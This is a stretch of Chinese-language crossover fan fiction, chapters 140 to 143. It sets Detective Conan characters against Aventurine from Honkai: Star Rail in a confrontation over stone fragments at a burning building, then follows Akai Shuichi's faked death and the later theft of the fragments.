两人短暂的分开,砂金揉了揉手腕,筹码被抛起又被接住,“一个双赢的交易,” “它对你而言并没有重要到可以和自己的生命一起被摆在天平的两端、难以抉择吧, ”砂金口中的它不必解释、赤井秀一也知道说得就是基石碎片,“所以, ” “把它给我,我给你让开一条生路……” 的确是双赢,砂金得了基石、赤井秀一得了逃生之路,说不准砂金“善心”大发一下还能帮他应付阻拦住琴酒的追杀,赤井秀一知道一般人会做什么选择。 张开双臂、砂金站在赤井秀一寸步不敢去踏入的空旷窗前,已经升起的月光整个笼罩住了瘦挑的身影——那人背着光、半张都掩在阴影里,但赤井秀一看得到、对方笑得冷漠。 唯一的生路被砂金拦着,楼下的火势越来越大,赤井秀一已经到了顶层但仍能嗅得到焦糊呛人的浓烟在漫延。 “如果我继续拒绝……” “那我们就开赌吧,”异色如同万花筒的眸子在阴影中微微发亮,“赌在这火海毒烟里,谁会先死,” “啊、忘了说……” 砂金抬了抬为了方便行动而赤裸着的脚,昏暗的环境下看不清别的、但赤井秀一看得到地面上零是几点的不明水渍,“虽然你一口咬定我是个……呃,图谋不轨的外星人,但我依旧会受伤、流血、死亡,” 砂金笑着歪了下头,“你可能会死,我也一样,这场赌局绝对公平。” 何必在这种方面追求公平……赤井秀一轻轻地吐了口气,因为命运早已对他不公、所以只能从他处进行弥补吗? “抱歉,”赤井秀一将子弹上膛,“两个选择,我都拒绝。” 拒绝交易,但赤井秀一不打算和砂金赌,他……另有计划。 赤井秀一他向来不是一名赌徒,面对砂金这样的对手与敌人,最明智的选择便是, 不要上桌。 “那就没办法了,”砂金道,“看来就只有等你死后,我再从你身上拿回我的东西了。” …… “爸爸妈妈!” 步美趴在车窗上,公路一边的火光在夜色中显得格外亮眼,步美有些着急地喊着专注开车的父亲和靠在椅背小憩的母亲,“你们快看那边!那里是不是着火了!” “怎么了……” 听到女儿求助的吉田夫人很快回神,跟着凑到女儿这边向车窗外看去,而这一看困意顿时全无,连忙对丈夫说道,“正人!先把车停下,那边好像出事了!” 正常行驶中的汽车很快打起了双闪、停靠在了路边,吉田先生下车后一脸错愕地望着不远处冒起了浓烟的烂尾楼群,不用妻子再提醒,吉田先生很快就拔打了火警电话。 “妈妈,”步美很是担心,“那么大的火,会不会有人被困在里面啊……” “不用担心,”吉田夫人抱着步美,安慰着,“警察马上就会到的,火也很快就会被扑灭,这边没有居民区……不会有人因此受伤的,放心一点、相信警察叔叔他们好吗?” 步美用力地点了点头,抓着母亲的衣服着急地等待着消防车的到来。 也知道不让步美亲眼看着警察过来、自己女儿是不会放心的吉田夫人望了丈夫一眼, “好吧好吧,步美,你和妈妈先上车等着,”吉田先生抓了下头发,顺着母女俩意思,带着两人一车先下了公路、找了片离火场有些距离的、随时可以跑路的空地歇息下, “等消防车到了,我们再回家。” 然而左等右等、都不见消防车的踪影,可能正是因为心急、才感觉时间过得太慢了吧,坐在驾驶室里吉田先生等得手心都有些冒汗,忍不住又打了个电话过去催促, 结果却得到了消防车因为一起车祸被堵在了市区里的消息。 …… 火势已经彻底的长了起来,连带着附近的几幢楼房也开始燃烧,原本守在狙击点上的苏格兰和波本被迫撤离到了稍远些的安全区域, 透过狙击镜,诸伏景光远远地只能望见隐隐约约的两道影子仍在纠缠不休。 “我知道,”忙个不停的波本不耐烦地应着另一边的线人,“但我只要结果,要么给我拖够一小时,要么剖腹向我谢罪……” 说完便挂断了电话,随后又看了到什么消息的波本连通了耳麦频道,“琴酒,那个路人没有马上离现场,需要我找人把他们赶走吗。” [这种事情不要问我……等等,] …… 刚想让波本把人打发走的琴酒眼神微微一沉,再次向波本确认性的问道,“他们现在在哪个方向?” [距离我们这边有些远,还有楼房掩着……不会注意到你。 ] 琴酒追问道:“那距离赤井秀一呢?” [……翻过一幢楼,从盘山公路那侧下去、垂直距离不超过二十分钟的脚程。 ] 这就够了,琴酒下了新的指令,“苏格兰,把孔雀和赤井秀一他们往盘山公路的方向赶。” [收到。 ] 第140章 打斗中的两人中, 赤井秀一最先察觉到了琴酒的新指令, 在无法避免的情况发生之时、赤井秀一都做好了硬挨一枪的准备,却不想不甚暴露出身形的赤井秀一并没有等到那枚子弹。 随后又是几次的以身试险,让赤井秀一发现在前往某个方向时,没了苏格兰的阻拦,或者说苏格兰在有意把他往某个方向上引。 这不可能是苏格兰在放水, 那就只有……这也是琴酒的命令。 赤井秀一不知道琴酒想做什么,但此时的楼内已经不适合人再待下去,烟火熏得人眼睛刺痛、温度也开始熬人,砂金又是个不管不顾的疯子,死死缠着他、寸步不让, 所以明知琴酒所使必然有诈,赤井秀一也只能顺着对方的意图往空缺的地方逃去。 见招拆招好了,赤井秀一顺着砂金的力道向后滚去,确定好了下一步的方向。 砂金也知道赤井秀一想逃,见着赤井秀一躲开探身抓住天窗的上沿、翻身而上,刚想追上去,脚下却踉跄了一下, “啧,”砂金低头看了下被自己搞得脏兮兮的脚丫子,左小腿处有道小口子在洇洇地向外淌着血,应该是在打斗中不小心挂蹭到了哪里受的伤。 正像砂金对赤井秀一说的那样,在这个世界的他受着压制、不可能一直开着盾,所以受伤乃至死亡……并不是一件很遥远的事。 其实在星际之中,砂金离死亡这个词也并不远, 他只是个小小的命途行者,琥珀王的瞥视也不是不死的护身符——真想寻那不死不灭的话, 还是丰饶更有希望。 不过这样也挺好的, 从衣摆下撕了条布下来,砂金没有马上去追赤井秀一,得空先是把伤口简单包扎了一下, 他喜欢“公平”。 不管是在泥泞里挣扎求生的下等人,还是锦衣玉食、养尊处优的上等人,不管是渴求还是抗拒,不管是坦然还是恐惧,死亡最终都会降临在每一个人的身上, 死亡面前,人人平等。 …… 哎,怎么又在想这些有得没得了?砂金下意识寻了一下「砂金」,但淡蓝色的身影从未出现在这里过, 四周静静的,只有杂物燃烧发出了滋滋的声响…… 砂金没有依赖「砂金」,砂金同样不会放任自己去依赖,「砂金」对此也心知肚明,随着基石的渐渐齐全、识趣地减少了出现在他面前的次数。 下意识寻找「砂金」,也许只是一种……习惯? 砂金不知道怎么形容那种感觉,说是家人……那算不上,说是朋友更是不对劲儿,至于“知己”这种形容,恐怕说出去、估计「砂金」自己都会觉得肉麻恶心的吧。 或许他还得感谢一下鸡翅膀头,没有那位假惺惺的家主大人,他也不会与「砂金」、乃至与卡卡瓦夏相遇, 算了……其实也没什么、不想了,砂金跟上赤井秀一的脚步,探出手抓着天台、轻巧地翻身而上, 先把基石找回来吧。 …… 翻身而上后的逃生之路顺畅得不可思议,顺畅得什至让赤井秀一开始心生怀疑、止步不前——不可能的, 琴酒不该这么马虎大意地放过他才对。 直至攀着发烫的排水道、一路急降到山道上,远远的望见公路下方空地上停着的一辆私家车时,赤井秀一终于明白琴酒的目的了。 琴酒知道会有路人路过、发现此地的火灾进而报警引来警方,从而确定自己一方无法将赤井秀一困在楼上太久、且无法在短时间内很快地拿下或耗死赤井秀一,这才对苏格兰下达了新的指令, 目的就是为了借助信息差、在并不知道会有警察意外支援的赤井秀一苦撑到警察到场之前,及时把赤井秀一赶到新的陷阱之中, 而琴酒已经做到了这一点。 “卑鄙,”赤井秀一轻声说了一句, 可是很有效,不愧是琴酒……一如既往地心计缜密、手段阴狠、作风同样格外冷血。 他不能从这个方向逃走,不然那辆车上的人一定会看到他,还有追在他身后的砂金、琴酒等人,而普通人见到了组织行动……那还能有什么下场? 一个词掩去了多少生命——灭口。 但赤井秀一也没有后路可走了,楼层很高,从上往下容易、从下往上可不好爬,往其他烂尾楼里躲也是不可能的,底层火势熊熊、去了就是死路一条, 赤井秀一被困在此处了,再不破局的话,等苏格兰移动到新的狙击点上,没有任何遮挡物可供自救的赤井秀一也只剩下一个结局。 …… 砂金跟着赤井秀一跳了下来,也看到了那辆车,跟着眉头微微一皱……一闪而过的不喜神色被赤井秀一捕捉在了眼里。 那辆车不像是来接应赤井秀一的、更不像是琴酒派去进行围堵的人手,那赤井秀一……会向那个方向逃窜吗? 砂金无法确定赤井秀一的想法,他并不了解赤井秀一这个人,今天不过是第一次见面而已,如若基石不在赤井秀一的手上,砂金只会和赤井秀一成为擦肩而过的陌生人。 砂金他也不熟悉琴酒、不理解对方对赤井秀一不会逃跑的自信从何而来。 因为那分明是一条绝佳的逃生路线,砂金想,夺走那辆车,赤井秀一很快就能驶上国道、从他和组织的包围下顺利逃跑, 至于路人的生死……是生是死,其实都没什么可在意的。 赤井秀一曾经是卧底,手上肯定也沾过无辜人的血,也许赤井秀一会觉得多沾一点也没什么大不了的,他已经习惯了; 又或者赤井秀一是个过于冷静理智的利益主义者,他活着对社会的贡献更大、所以可以去牺牲一些其他人; 再或许,赤井秀一就是怕死了,死道友不死贫道…… 砂金能找出很多很多赤井秀一逃跑的理由,他向来不介意用最大的恶意去揣摩人心,他见多了各种嘴上说得漂亮、实则腐败不堪的家伙,甚至他本身也算得上是个结果至上主义者。 但是…… 以极佳的视力望见从车窗里、着急地探头观察火势的那颗小脑袋时,小孩子头顶上带着的那个眼熟的发箍,却让砂金瞳孔微微一紧, 【砂金哥哥和冰淇淋球真的很像……我们真的很喜欢这样的砂金哥哥——! 】 会是那个孩子吗?砂金迟疑,角度问题、他看不到车上那孩子的脸,他只是视力好、不是透视眼。 本打算袖手旁观的砂金因为那一点的不确定性,悄然又向赤井秀一的方向逼近了几步, 如果是与他毫无干系的陌生人,砂金还能继续冷血一下,但万一要是那个孩子的话……砂金不可能无动于衷, 在还不确实那孩子是否是吉田步美的当下,砂金已经做好了拦堵赤井秀一的准备,认错人了也没什么损失、没认错就更没问题了, 就当是……还了“冰淇淋球”的人情好了。 赤井秀一也注意到了车上的孩子,还有砂金态度的微妙变化,混血儿深绿色的眼里闪过丝思索的神色,赤井秀一试探性地挪了挪脚尖的方向、预备向山下跑去。 “叮——!” 硬币形式的筹码穿过赤井秀一耳边的空气、嵌在了赤井秀一身后的树干上,砂金笑脸相待,“朋友,可不要走错了路哟。” “走错?”赤井秀一也挑了下眉,“难不成我要放着好好的生路不走,往火海里躲?” 砂金歪头,“为什么不能呢?” “那如果,”赤井秀一从脖颈里拽出基石,一把扯了下来、拿在手里,“我把它给你,我还是可以多一条生路的吧。” “呵,”不料砂金摇了下头,“赌局已经错过,可不会再开一次,杀了你、我一样能拿到它,又何必给自己徒添麻烦?” 突然,赤井秀一笑了一下,并非冷笑或是讥讽……好像只是单纯的失笑,但正是如此才让这个笑在那张俊冷的脸上看上去十分怪异。 砂金不是喜欢憋着自己的人,“你在笑什么?” “无事,”赤井秀一注意到了斜对角的楼上、微微反光的光点, 苏格兰就位了,留给他的时间不多了。 “算了,还是险败了一步……”赤井秀一耸了下肩,肌肉放松下来、好似放弃了抵抗一般,“不过,我可不会束手就擒的。” 说罢,踏地的脚掌猛得蹬起、赤井秀一如一道离弦了的箭矢猛然射出,砂金单手把玩筹码、未加阻拦,因为赤井秀一冲向的方向正面朝着自己, 不久前才角斗在一起、难舍难分的身躯和砂金近距离的错开,奔进了砂金身后的火场——赤井秀一自寻了死路。 转动的筹码一顿,砂金眼底也是神色微沉,真是…… 有意思。 …… “轰隆隆——!!!” 不知道火势烧到了什么东西上,在赤井秀一冒险躲入火场后不久、烂尾楼突然发生了接二连三地发生了大范围的爆炸,热浪甚至影响到了临近的山上,有些树木都开始因此起火, 好在,消防车终于迟迟赶到了,应当不会造成什么额外损失,除了…… “撤退,”黑色的保时捷隐在了夜色里,琴酒最后向波本等人发送着指令,“波本,通知上朗姆,调动一切可以调动人手……” “去确认赤井秀一是否已经化为火中的幽灵。” —————————— 【我们还会再见面的。 】 那位卧底先生与他错肩之时,留下了这么一句话,还有…… 抛了抛手里泛着异光的砂金石碎片,砂金一个人走在回住宅的路上,赤井秀一在寻死之前、把基石藏在了他的身上,而这么做的理由未知。 再见面吗? 砂金没什么想法,只要拿了基石就够了,其他的……他难道很像是个爱多管闲事的人? 这次和琴酒的短暂联手,也只是为了基石罢了,卧底和组织的爱恨情仇、他可不想插手, 除非伊达警官也去当了那个卧底。 “主人……” 没有起伏感的幽幽声音突然响起,砂金抽了抽嘴角,大半夜的、怎么搞得和闹鬼似的,砂金低了下头,在门后面静悄悄蹲着的影子果然是被他打发走的伯劳。 将柯南送回到毛利小五郎那后,伯劳不打算频繁地把想逃跑的柯南再逮回去,干脆给柯南下了点药、让小孩子睡了个好觉, 谢谢伯劳,拯救了柯南的黑眼圈。 “主人……” 回到现在,又是幽幽一声,砂金扶额,“怎么了,有话可以直说。”怎么不在屋里等着他。 “你不能……”伯劳说话有点结巴,“把鸡蛋和牛奶都、都放在微波炉里加热,因为、因为会爆炸……” 砂金:“?” 这都哪里跟哪里的事啊? “怎么突然说到鸡蛋牛奶了,”砂金神经一紧,“你又去厨房了?我不是告诉过你、饿了可以先点个外卖的吗……” 从外面看厨房好像没着火呀?砂金松了口气,但依旧满脑袋的问号,现在的伯劳有点奇怪, 小孩子可真难懂。 “可以再说的详细一点吗。”砂金问,也耐着性子等伯劳重新组织语言。 “你也不能……”伯劳停了一下,接着呼吸急促了几分,似乎是在给自己加油鼓气,随后缓缓地才道,“只用绷带固定断掉的胳膊,因为、骨头会长错位。” 砂金闻言微微一愣,这…… 是他曾经告诉过伯劳的话。 …… 这是……主人曾经教过他的,伯劳记得很清楚,一个字也没有记错过, 蹲在地上的伯劳仰头,望着浑身狼狈不堪、赤着足的主人,小心翼翼地伸手,想碰一碰对方小腿上绑着的沁血的布条、但在真的触碰到时又止住了手, 已经把话说出来了,哪怕伯劳依旧害怕主人会责骂他逾矩,也没有回头路可走了,伯劳咬咬牙、眼睛盯着砂金那张有些错愕的脸不敢移动分毫, “你更不能,”不会有更糟糕的情况了,伯劳话反而顺畅了不少,“一个人受伤,因为、会很痛。” 主人教他不要痛, 可为什么主人自己没学会呢? 140-160 第141章 伯劳很害怕,但仍不敢挪开视线,想要从对方面上看出点什么, 可惜, 砂金在沉默,时常挂在脸上的笑容逐渐消失,随后归于平静。 本来就不擅长察言观色的伯劳越发紧张,收回的手蜷缩着、指尖又扣到了手心里,唇咬得死死的…… 他……是不是太放肆自己了,主人会不会生气,他怎么能向主人发出这种责问,主人做事没有向他解释的必要,他怎么敢那么对主人说话,主人讨厌他了怎么办,他不是故意的,要是、要是…… 那丁点儿的勇气已经彻底用尽了,伯劳不知道刚刚的自己哪里来的勇气,怎么可能不会有更糟糕的事情发生? 主人的确是不喜欢惩戒, 但也有可能主人……直接不要他了啊,要是…他该怎么办…… “哎……” 轻轻地叹气声响起,伯劳的心脏咚咚、咚咚地跳着,砂金向屋里走,路过顺手拍了拍缩成一团的麻烦家伙的脑袋, “进屋吧。” 砂金有一种“爱说谎的大人”感,像是他教了小朋友说谎不好,但转头就被小朋友揭穿了说谎的谎言一般, 可砂金无法给伯劳解释。 伯劳没动,没听到伯劳跟上来的砂金揉着额头、退让般的补充着问道, “那我下次……尽量不受伤?” 伯劳:“……嗯!” 恐惧一扫而光,眼睛微微一亮,伯劳这才连忙爬起身追着砂金一步一跟,脑袋里乱七八糟的念头也猛得被扫个干净, 主人竟然会为了他这样一个无用的工具而退步……这种感觉,伯劳心脏还在跳着,他想——这应该就是“喜欢”吧。 小孩子就是好骗,砂金想,他不过是随便敷衍一下,便轻飘飘地就将这个话题掀过去了,伯劳也屁颠屁颠儿地自己把自己哄好了, 谁让,他是个爱说谎的大人呢? —— 把砂金碎片从吊坠绳结上解下来,砂金看着近乎已经完整的基石、指间习惯性地任着筹码穿梭, 不对, 砂金想,这种完整程度、应当已经足够调动一些能量才对,但除了熟悉的波动外、砂金勾不起基石的任何变化, 能量已经流尽,还是世界的压制太强,再或者基石依旧缺少了最关键的一部分? “咔嚓……” 门被推开,已经简单吃过了的伯劳拿着吹风机和医疗箱进了屋,在砂金的默许下,熟练的清创包扎、再将砂金洗漱过后还在滴水的发丝一点点吹干。 嗡嗡作响的吹风机也将砂金的心神吸引了回来, 虽然以砂金的财富而言,雇上几百名仆人伺候他的衣食住行都不算多,给人的外在形象也像那种衣来伸手、饭来张口,不知人间疾苦的富家大少, 但砂金习惯于事事亲为,很少让人处理自己的寝居,而这次的例外是想安抚一下伯劳,伯劳一紧张就喜欢扣手的小动作根本就藏不住情绪,哪怕伯劳脸上毫无表情。 轻轻地推开基石,砂金闭了闭眼受着伯劳有些生疏的照顾——砂金很不想承认,他现在是真怕了伯劳了。 伯劳也看到了桌子上的基石,砂金闭了眼倒是没看见伯劳张了张、最后还是闭上了的嘴。 伯劳不喜欢那几块石头——摸到“喜欢”这个词的边后,伯劳很喜欢用“喜欢”这个词形容一些东西——因为主人总是在因为它们而受伤、因为它们而面对危险, 早便说过,伯劳这一类的人只是单纯,倒也不是傻子,他明白砂金是在有意把他支走、一个人去冒险,而且砂金已经不是第一次这么做了,所以今天的伯劳才终于忍受不了、冒犯了砂金。 还有可能便是天然直觉系生物天生的神奇技能吧,伯劳从那几块不会蹦、不会说话、不会呼吸的石头上,察觉到了巨大的危机感, 那几块石头,会抢走他那么那么那么那么——伯劳能一直说下去——好的主人,伯劳这么觉得, 伯劳不想把主人让给任何人、也不想让给任何一块石头。 “还有什么事吗。” 吸风机的嗡鸣声停了下来,头发干得差不多了,但伯劳没有离开,砂金便又问了一声,并默默希望伯劳别又说些他不好回答的话, 好敷衍的确是好敷衍,但也是会心累的啊。 好在这一次伯劳没打算继续为难自己可怜的主人。 伯劳从带进屋里的药箱里掏出了个有些分量的信封、随后双手捧着交到了砂金的手里,“晚上寄到的,那个白色的人说、要主人您亲启。” 白色的人……? 砂金接过信封,信的一角落着“ kid”几个花体字母,还有一个怪可爱调皮的卡通小人头像,那个形象让砂金一眼看出了“白色的人”是何方神圣, ——正是、怪盗基德。 可是基德联系他做什么,想着砂金撕开了信封、没展开对折的信纸,先有个近似圆柱体、巴掌大小的小物从信纸袋中滚了出来, 不是基石,但一样很眼熟的东西让砂金感觉到了意料之外。 [这是红之魔女给我的,她说了些神神叨叨的话,又说现在是“物归原主”的时候,就让我给你捎过来了,你自己看着处理吧。 ] 基德的留言很随意、也很简洁,砂金握着小物却有点犹豫……因为此物不是别的,正是当初拉帝奥教授和他分别时给他的“医嘱”, 看完信件后,砂金的第一反应是“原来这个世界还存在魔女这种生物吗?”,第二个反应才是, 没想到这个小东西竟然也完好无损地掉到了这个世界,还被一名神秘的“红之魔女”捡到并还给了他。 看着失而复得的小巧卷轴,砂金思索了一下要不要打开来看看, 当时教授的话是“死到临头了再打开它”,而他会感谢他的。 哈,砂金又笑了笑,他感谢教授的次数还少吗? 他还是有些稀薄的良心的,毕竟在所有曾经合作过的搭档朋友之中,对方嘴巴不是最好听的那一个,但论起上心程度……无人可超越这位博学的教授, 砂金只是感觉到十分好笑,对方有教无类的像是把他当成需要坐在大教室里接受知识熏陶的学生,医者仁心得又像把他当作是需要救治帮助的病人…… 总之,就是没把他当成一个可以利用完就丢的朋友,这偶尔让砂金感到了一丝挫败, 明明多的是人想要和他这位大名鼎鼎的赌徒“攀谈”一二,偏偏教授与众不同、对他可以带来的利益与财富不屑一顾。 所以怎么也不差这一次的“感谢”了,砂金抓起卷轴,再说、他这都不止是“死到临头”了,是直接“死了”一次吧? 此前忙着布局寻人,无空在意教授的“教导”,而现在是时候打开教授留给他的“锦囊妙计”,看看对方又说了些什么会让他失笑的“医嘱”了。 想着也便做着,砂金的行动力一向很好, 他打开了卷轴…… —————————— 数据流光在密密麻麻的线路里流窜,冰冷的玻璃隔断中是座硕大、看不出作用与功能的神秘机器,置于精密机械核心中央的却只是个不过指甲盖大小、通体碧绿的小小石片, 在未知的刺激之下,石片上像是安了呼吸灯一样,缓缓闪烁着丝丝诡异的异光…… “终于……” 立于玻璃墙面后的身影专注地望着那仿佛有了生命一般的核心,努力压抑着内心要喷涌而出的激动与兴奋, “终于…二十多年了,我终于等到神使的降临了……” 那身影捏着拳头、情绪高昂到控制不住地压尖了嗓音,他想说出那句话很久了, “一切……” 献给琥珀王——! 第142章 新的一天, 再次开始。 太阳升起,太阳落下,月亮升起,月亮落下……一切与以往似乎都没有什么不同。 除了…… 静静地看着空空荡荡的盒子,一向好脾气的砂金在压制着久违的、真正燃起的怒火…… 是谁? 砂金沉沉地吐出口气, 到底是谁…… 偷走了他的基石。 …… 现在距离那日和赤井秀一交手已经过去了整整一周, 砂金按照习惯去拜访了娜塔莉和伊达航, 可等回来后、意外发生了, 砂金此前找到的所有基石碎片全部消失不见。 甚至,砂金都没有在房间里找到任何的基石气息的残留, 好像他从未找到过那些碎片一般, 这不正常,砂金按了按太阳穴,哪怕他现在气到想要和某位P47的高层同归于尽,但仍强迫着自己冷静地思考着, 气息不该这么干净才对……偷走基石的人,绝对不可能是普通人,对方是有备而来。 而没了基石,他回去的希望近乎于无,砂金的大脑在运转,正是因为太过冷静、才把种种结果看的太清楚了。 回不去的话,难道他要在这个世界活到死?死在异界, 他的魂灵还可以去到卡卡瓦的极光之下吗? 回不去的话,氏族的恨仇该怎么办?他是最后的埃维金、除了他不会再有人为了曾经的不公而拼上性命, 回不去的话,他曾经的所有努力都将毁于一旦…… 刚到这个世界的时候,砂金不是没有担心过要是回不去了该怎么办,但基石的存在还是给了砂金希望、让砂金没去过于担忧那个回不去的可能, 砂金相信自己可以回去,连「砂金」都认为这只是一次好好休息的机会、而从未想过砂金永远回不去的那种结局。 可偏偏在基石几乎快要完整的现在,基石却不见了,砂金很难控制自己不去多想些什么,相比证据确凿的因果关系、砂金更在意一个又一个的“巧合”, 为什么会在这种时刻“当好”发生这种事? 是母神的意愿吗? 砂金想,是芬戈妈妈对他之后的命运另有安排,所以才又带走了那些碎片吗; 还是母神的怜悯? 想起那近乎完整、却无法正常使用的基石,砂金又想,会不会等基石集齐的那一刻他也无法离开此间异世,为了不让他绝望、母神才不许他达成集齐基石的所愿; 再或者是母神的……厌弃? 那是砂金最不想去设想的可能,他做错了什么、惹怒了芬戈妈妈,导致母神不仅收回了对他的赐福,甚至厌恶他到不愿让他再与家人们重逢…… 赐福可以被收回,死亡也可以降临,但砂金不能接受永世无法回家的诅咒——他为了那个目标,努力了那么那么多, 命运怎么可以又一次这么不公? …… “「砂金」,”砂金突然道,“带卡卡瓦夏先出去等我一会儿,可以吗? ” 「砂金」没回应,只是抱着满脸担忧的卡卡瓦夏出了门,把空间完整的留给砂金一人。 【大哥哥会没事的吧,】卡卡瓦夏的手指紧紧地抓着「砂金」的衣领,这是他第一次见到砂金生气的样子, 卡卡瓦夏不怕现在的砂金,他只是在为未来经历了太多的“自己”而难过。 【相信“我”,】「砂金」揉揉小朋友的头发,轻声道,【他会调整好自己的,连“虚无”他都抗下来了不是吗? 】 砂金还有理智叫他把卡卡瓦夏带走,那问题就没到最糟糕的程度上。 【都是我的错,】卡卡瓦夏难受的想哭,【要是我没有让大哥哥你带我出去玩,就能知道是谁偷了大哥哥的石头了……】 【嘘……别这么说,】「砂金」道, 【“我”永远不会去怪你的。 】 未经过那一夜的卡卡瓦夏永远不会被砂金所讨厌怪罪。 …… 而屋子里很安静, 过了好长一阵子,等在外面的两道幻影才等到砂金重新出现在他们的面前。 “我没事,放心好了。”砂金恢复了平静,笑了笑,向「砂金」和卡卡瓦夏道,“这次是我的问题,之前基石来的太轻松、反而叫我疏忽大意了,” 真的轻松吗?卡卡瓦夏红着眼睛、抿了抿嘴,明明好几次差点把命都搭上了。 “丢了也没关系,我再找回来就是了……” 不是什么大不了的事, 砂金像个没事人一样继续这么说道,房间里和「砂金」离开前没有什么两样,似乎那段寂静的时间里、什么都没有发生,也只在砂金的脸上才稍见点端疑, ——五官精致的脸上,一双艳丽多彩的异眸眼角、微微泛红,像是刚哭过一般。 没关系,砂金已经打定好了主意,丢了……那便再找,他绝不放弃。 手指扣在掌心里、两只手搅在一起快扭成一团了的伯劳悄悄地探出头,除砂金之外的另一个活人小声叫着,“主…主人……” 砂金的低气压似乎也吓到了伯劳,砂金调整了一下情绪,挂上营业式微笑,“怎么了,朋友?” “有人……”充当着临时管家的伯劳道,“有人拜访。” …… 叮咚~ 铁栏外的大门口,拜访者又一次按响了门铃,砂金出了门,看见的是个个子高高、戴着眼镜的粉毛年轻男人。 奇怪的是,砂金隐隐觉得对方有些熟悉感…… 粉毛男人眯着眼睛,见到砂金便是礼貌地打了声招呼,示意了下手中拎着的礼盒,“您好,我是最近刚搬过来的冲矢昴、就暂住在您隔壁的隔壁,” “冒然拜访,还请见谅。” 新邻居比当初的砂金要懂常识的多,拜访邻居的时机也很及时,及时到砂金无法忽略这位“意外来客”。 隔壁的隔壁?眼睛微微向那方向望了望,砂金记得那是……工藤新一的住宅,但是工藤新一“失踪”至今,那幢房子不该被出租或是售出才对, 那冲矢昴的身份便有些微妙了。 心下疑心不止,但面上依旧微笑的砂金迎了上去,接过礼物、与对方寒暄起来,“叫我砂金便好,新朋友要不要进来坐会儿?” 基石的丢失……会与这位新朋友有关吗?砂金不知道,但他不会放过任何的可疑之处。 冲矢昴也笑了笑,“不必了,我还要继续拜访别的邻居们,这次多有打扰了。” 而且……眯着的眼睛微微睁开了一条缝,冲矢昴望了眼在别墅门前立着的那道身影,那是跟着砂金而出、却又远远地止住了脚步的伯劳,冲矢昴确定了——对方对他…… 有着敌意。 第143章 “他有什么问题吗。” 送走新邻居后,砂金像是随口一提般向伯劳问道,他当然也注意到了伯劳的敌意。 伯劳结结巴巴,“那天…也是这样……” 砂金捡到伯劳的那一天,两人也是这样隔着一道铁栏杆对视着的……伯劳现在和曾经的236一样、对所有有可能和他争抢砂金的存在,都有着不低的敌意。 “那就随你吧, ”砂金回了房,他不是有意忽视伯劳的,但他现在真的没有那么多的精力去关注伯劳了,他只想快点找到基石的下落,便道, “我最近会有些忙,你自己安排好自己就好。” 也是时候让伯劳学会独立了。 “那今晚……的睡前、故事……”伯劳有些期待地问道, 他喜欢每天的这个环节。 “抱歉,等我空下来再说吧。”砂金没有回头, 一边向房间走去、一边打通了八木海的电话, “喂、可爱的群织小姐,我有一些事想再麻烦你一下……” 目送着砂金离开,被留下的伯劳呆呆地站在楼梯下没再跟上对方。 那些石头……难道真的有那么重要吗?伯劳无法理解他的主人,他只感觉心脏闷闷的,好半天、伯劳才很小声地回应了一句, “……好。” …… “对,帮我调查一下除我之外, 还有没有其他人在收集或是寻找类似的石头,”砂金对电话中道,“还有我附近的监控也拜托你查查看、有无可疑人员出现了, 以及那位新邻居的身份资料。” 需要查验的东西有很多,砂金一样都不会放过。 “最后一件事……” 砂金顿了顿, “我要知道伯劳今天……不,最近一周的全部行踪。” …… 平时的砂金并没有拘着伯劳,有了贝尔摩德的面具、伯劳的出行也不会受阻碍,本着锻炼伯劳的打算,砂金还会主动让伯劳一个人多出门转转。 今天也是如此,砂金去往伊达航家时,就放了伯劳自由、让对方单独行动去了,也就是说…… 见过基石、且知道他将基石放在哪里了的伯劳本人也有偷盗的嫌疑。 [收到!我这就开工! ] 八木海对砂金的事一向很是上心,砂金永远可以第一时间打通她的电话、连安室透都没有这种待遇。 最先被八木海调查了个底朝天的、自然是底细最简单最清晰的伯劳了。 砂金快速浏览着伯劳每日的动向,因着砂金不喜、宅院内并没有多少监控,而伯劳的每日行程很是固定,没有任何的变化。 今天也是和他同一时间出的门,随后便在砂金的打发下去了附近的公园坐着发呆,直到砂金回来后伯劳才又回得住处。 从表面上看,伯劳并没有犯案的时间。 不是伯劳……吗?砂金垂了下眼,从电脑上翻过这几页,开始和八木海一起检索起其他信息, 希望能有所收获。 —————————— 冲矢昴, 一名普通的东都大学工科研究生, 同时也是……一名并不普通的FBⅠ探员、赤井秀一。 许久无人居住了的工藤宅内,一大一小的两道身影正在默默地对质着。 “你现在的这张脸……”柯南推了推眼镜,肯定地说道,“是我老妈的手笔?” 那日后,意外收获到了许多信息情报的柯南没有闲着,在发现家里莫名其妙的多了一位租客后,经过多日的试探与调查,柯南终于肯定了冲矢昴的真正身份, 对方正是那日宣称意外死亡的赤井秀一! 老爸老妈真的是……柯南咬了咬牙,他知道他们和FBI那边的关系密切,但也不必什么事都瞒着他这个当儿子的吧! 从工藤优作口中知道了柯南真正身份的赤井秀一没再隐瞒柯南,倒隐约也猜到了那日砂金将柯南带到那边参与谈话的理由了, 砂金的意思很明显——对方不打算掺和他们和组织的事,有问题就找工藤新一这个“当事人”好了、别去烦他。 不过有些事……不是砂金想不掺和就能不掺和的。 “有什么问题,你可以直接问。”赤井秀一掀开锅盖、往里面又加了点水。 有那日的开诚布公做前例,赤井秀一对于一些情报内容已经放得很开了,再多告诉柯南一些也没什么。 看着已经把他家当自己家、登堂入室了的赤井秀一,柯南抽了抽嘴角,他想问的可太多了, 首先…… 诸多问题在脑海里转过,柯南道,“你,为何那么忌惮砂金。” 搅着土豆牛肉的筷子一顿,赤井秀一分了点神给了一开口就抓住了重点的柯南、心下想,不愧是工藤优作先生的儿子,可真是敏锐得出奇。 而柯南想得很直接,“外星人”那种言论不像赤井秀一这样的人会随口说出的戏言,哪怕赤井秀一是在故意试探砂金也一样,赤井秀一一定还知道些更为关键的内幕。 “你是第二批问我这个问题的人。”赤井秀一回答道。 第一批当然是……安室透和诸伏景光了。 虽说那天安室透和赤井秀一两人小学生互怼着、像是觉得赤井秀一疯言疯语地在说笑,但那两人还是有将赤井秀一透露的情报放在心上了的,第一个找到假死的赤井秀一的人也是那两位卧底先生。 在砂金不在意的关注之外,每个人都有着自己的计划与秘密,没有人会停下脚步。 “好吧,”赤井秀一再一次解释道,“如果有一个人突然跑出来说他知晓一位自天外而来的神明,祂将统治这个世界、为人类带来新的未来……你会如何看待这个人?” 柯南皱了皱眉,“他需要接受精神治疗?” “是这样没错,”赤井秀一将盖子重新盖好,静静地等着牛肉炖好,又道,“但如果……” “他已经成为了一名神父呢?” 一个疯子故然有危险,但危险尚在可控范围之内,但若是有一群“志同道合”、“传教惑人”的疯子呢? 神父?柯南表情一空,想到了那种可能,“……你难道是说?” 